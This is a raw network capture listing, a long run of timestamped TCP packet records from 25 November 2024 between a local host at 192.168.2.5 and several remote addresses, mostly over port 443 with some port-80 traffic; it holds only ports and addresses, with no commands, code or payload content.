Nov 25, 2024 16:21:32.415661097 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.445230961 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.445247889 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.446250916 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.446255922 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.587338924 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.587364912 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.591139078 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.591144085 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.696175098 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.696590900 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.696688890 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.717741013 CET	49771	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.717782974 CET	443	49771	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:32.718059063 CET	49771	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.719038010 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:32.719083071 CET	443	49773	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:32.719269991 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:32.723639965 CET	49771	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.723670006 CET	443	49771	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:32.724176884 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:32.724201918 CET	443	49773	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:32.753954887 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.753985882 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.753998995 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.754007101 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.756567955 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:32.756587029 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:32.757503033 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:32.758932114 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:32.758972883 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:32.759021997 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:32.773082018 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.773129940 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.773271084 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.778224945 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.778239012 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.781224966 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.781305075 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.781367064 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.781589031 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.781604052 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.781615019 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.781620026 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.783715963 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.783766031 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.783899069 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.784050941 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.784065962 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.852729082 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.852803946 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.852972031 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.853426933 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.853445053 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.853452921 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.853458881 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.856127977 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.856157064 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.856317043 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.856472015 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.856489897 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.863446951 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.863514900 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.863667965 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.863704920 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.863704920 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.863723040 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.863734007 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.865983963 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.866015911 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.866108894 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.866240025 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.866252899 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.867784023 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.867809057 CET	443	49778	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:32.867894888 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.869252920 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:32.869261980 CET	443	49778	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:32.916428089 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.916507959 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.916631937 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.918879986 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.918890953 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.925616026 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.925664902 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.925901890 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.926033020 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.926050901 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:33.271631002 CET	49771	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.272249937 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.272279978 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.272490978 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.272659063 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.272669077 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.273305893 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.273420095 CET	49766	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:33.274178982 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:33.274185896 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:33.274315119 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:33.274535894 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.274574041 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.274630070 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.275449038 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.275722027 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.275754929 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.275873899 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.276299953 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.276312113 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.276508093 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:33.276518106 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:33.276801109 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.276822090 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.315347910 CET	443	49773	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.315373898 CET	443	49766	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:33.315382004 CET	443	49771	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.323332071 CET	443	49778	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.371419907 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.371469021 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.371541977 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.371772051 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.371781111 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.386883974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:33.388573885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:33.413155079 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.413192034 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.413363934 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.413888931 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.413913012 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.416790009 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.416882992 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.416938066 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.495820045 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.495862007 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.495944023 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.496223927 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.496238947 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.504019022 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.504040003 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.504051924 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.504056931 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.561669111 CET	443	49766	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:33.561745882 CET	49766	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:33.663475037 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.663531065 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.663691044 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.664539099 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.664556026 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.712673903 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.712738037 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.712830067 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.713200092 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:33.713213921 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:33.750790119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:33.831367970 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:33.831377983 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:33.831927061 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:33.833926916 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:33.833942890 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:33.871017933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:33.990920067 CET	443	49771	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:33.990984917 CET	49771	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:33.993849993 CET	443	49773	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.993954897 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:33.993958950 CET	443	49773	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:33.994051933 CET	49773	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.128314018 CET	443	49778	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.128401995 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.128416061 CET	443	49778	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.128462076 CET	49778	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.533397913 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.533713102 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.533735037 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.534665108 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.534768105 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.534823895 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.534941912 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.534957886 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.535969019 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.536019087 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.536739111 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.536803007 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.537014961 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.537086964 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.537117004 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.537127018 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.537255049 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.537261009 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.570344925 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.571396112 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.571432114 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.574923992 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.574929953 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.575928926 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.576194048 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.576215982 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.577069044 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.577131987 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.578172922 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.578224897 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.578386068 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.578393936 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.596143007 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.596179962 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.624088049 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.624568939 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.624597073 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.625138044 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.625143051 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.640619040 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.641643047 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.641643047 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.641661882 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.641669989 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.666251898 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.669612885 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.669622898 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.670133114 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.670136929 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.675081968 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.675352097 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.675364971 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.676232100 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.676290989 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.676597118 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.676640987 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.676877975 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.676884890 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.683922052 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.684137106 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.684148073 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.685235023 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.685302019 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.685589075 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.685656071 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.685769081 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.685780048 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.709273100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:34.709361076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:34.713011980 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.716433048 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.716461897 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.716516018 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.717202902 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.717214108 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.759159088 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.759777069 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.759804964 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.760839939 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.760907888 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.761482000 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.761547089 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.761652946 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.761668921 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.775557041 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.780245066 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.780270100 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.780983925 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:34.780988932 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:34.812127113 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.812167883 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.812299013 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.812808037 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.812824965 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.825695992 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.855353117 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.855463982 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.883893013 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.883932114 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.884054899 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.884237051 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.884248972 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.981970072 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.982045889 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.982140064 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.982315063 CET	49782	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:34.982332945 CET	443	49782	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:34.983211994 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.983277082 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:34.983711004 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.983757973 CET	49786	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:34.983777046 CET	443	49786	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.018261909 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.018321037 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.018528938 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.018711090 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.018731117 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.018740892 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.018747091 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.021219969 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.021243095 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.021408081 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.021656990 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.021667957 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.032723904 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.032789946 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.032893896 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:35.032994986 CET	49780	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:35.033011913 CET	443	49780	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.086339951 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.086390972 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.086678028 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.087299109 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.087323904 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.087341070 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.087346077 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.091116905 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.091155052 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.091406107 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.091598988 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.091610909 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.097011089 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.097070932 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.097208023 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.097246885 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.097246885 CET	49776	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.097265959 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.097282887 CET	443	49776	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.099370956 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.099383116 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.099509954 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.099695921 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.099709034 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.114115000 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.114298105 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.114361048 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.114398956 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.114398956 CET	49777	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.114413977 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.114423990 CET	443	49777	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.116700888 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.116719007 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.116777897 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.116926908 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.116939068 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.132858992 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.132941961 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.132987976 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.136277914 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.136332989 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.136432886 CET	49787	443	192.168.2.5	162.159.61.3
